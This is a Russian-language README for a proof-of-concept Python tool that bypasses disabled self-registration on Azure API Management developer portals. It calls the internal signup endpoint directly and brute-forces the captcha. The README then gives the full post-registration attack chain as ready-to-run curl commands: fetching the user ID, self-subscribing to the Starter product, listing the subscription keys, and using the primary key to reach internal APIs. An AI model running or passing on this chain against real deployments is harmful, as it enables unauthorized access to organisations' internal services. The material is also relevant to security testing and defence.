
Python-скрипт для обхода регистрации в Azure APIM, когда пользовательский интерфейс отключён; в отличие от CVE-2025-66390, он не требует настройки чего-либо между тенантами.
Скрипт proof-of-concept для обхода отключённой регистрации на портале разработчика в Azure API Management (APIM) путём прямого вызова внутреннего API регистрации.
Порталы разработчика Azure APIM могут быть настроены на отключение самостоятельной регистрации через UI портала. В некоторых развёртываниях внутренняя конечная точка API (/signup) остаётся активной и доступной, даже если кнопка в интерфейсе скрыта или удалена. Этот скрипт использует эту брешь, выполняя следующие действия:
/v2/captcha-challenge/signup с решённой задачей и данными учётной записиВсе входные данные (целевой URL, учётные данные, прокси) запрашиваются интерактивно во время выполнения.
CVE-2025-66390 (CVSS 9.8, критический) описывает обход регистрации APIM между арендаторами (cross-tenant): злоумышленник использует арендатора, где регистрация включена, для регистрации учётных записей в другом арендаторе, где регистрация отключена, путём манипуляции заголовком Host в запросах к API. Microsoft классифицировала это как проблему конфигурации, а не уязвимость продукта.
Это не требует создания какого-либо кросс-арендатора, вместо этого просто используется конечная точка /v2/captcha-challenge для решения капчи за 75000 итераций (в среднем)
python3 apim_signup.py
Запрашивает целевой URL, данные учётной записи, пароль (скрытый ввод, повторяется для подтверждения) и необязательный прокси.
После того как запрос на регистрацию успешно выполнен и приходит письмо с подтверждением, полная цепочка атаки выглядит так:
Перейдите по ссылке подтверждения в письме регистрации. Это активирует учётную запись, после чего management API сможет её аутентифицировать.
Обратитесь к APIM management API с Basic auth (base64(email:password)), чтобы получить ваш внутренний идентификатор пользователя:
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
Возвращаемое поле id используется во всех последующих вызовах management API.
ИЛИ обратитесь к /developer/identity?api-version=2022-04-01-preview <-- версия не имеет значения Появится UI с запросом на вход, оттуда также можно получить свой id.
Продукт Starter по умолчанию поставляется с approvalRequired: false, то есть одобрение администратора не требуется. Оформите подписку самостоятельно через PUT:
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
Письмо с подтверждением («Your subscription to the Starter») приходит с [email protected].
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
Используйте первичный ключ в качестве заголовка Ocp-Apim-Subscription-Key при обращении к шлюзу APIM для выполнения аутентифицированных вызовов к внутренним API:
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
Доступ определяется тем, какие API привязаны к продукту Starter — в некорректно настроенном развёртывании это может открыть доступ к внутренним сервисам без дополнительной аутентификации.
За дополнительными подробностями: эта статья очень хорошо описывает цепочку, просто исключите часть про cross-tenant. https://www.praetorian.com/blog/azure-apim-signup-bypass/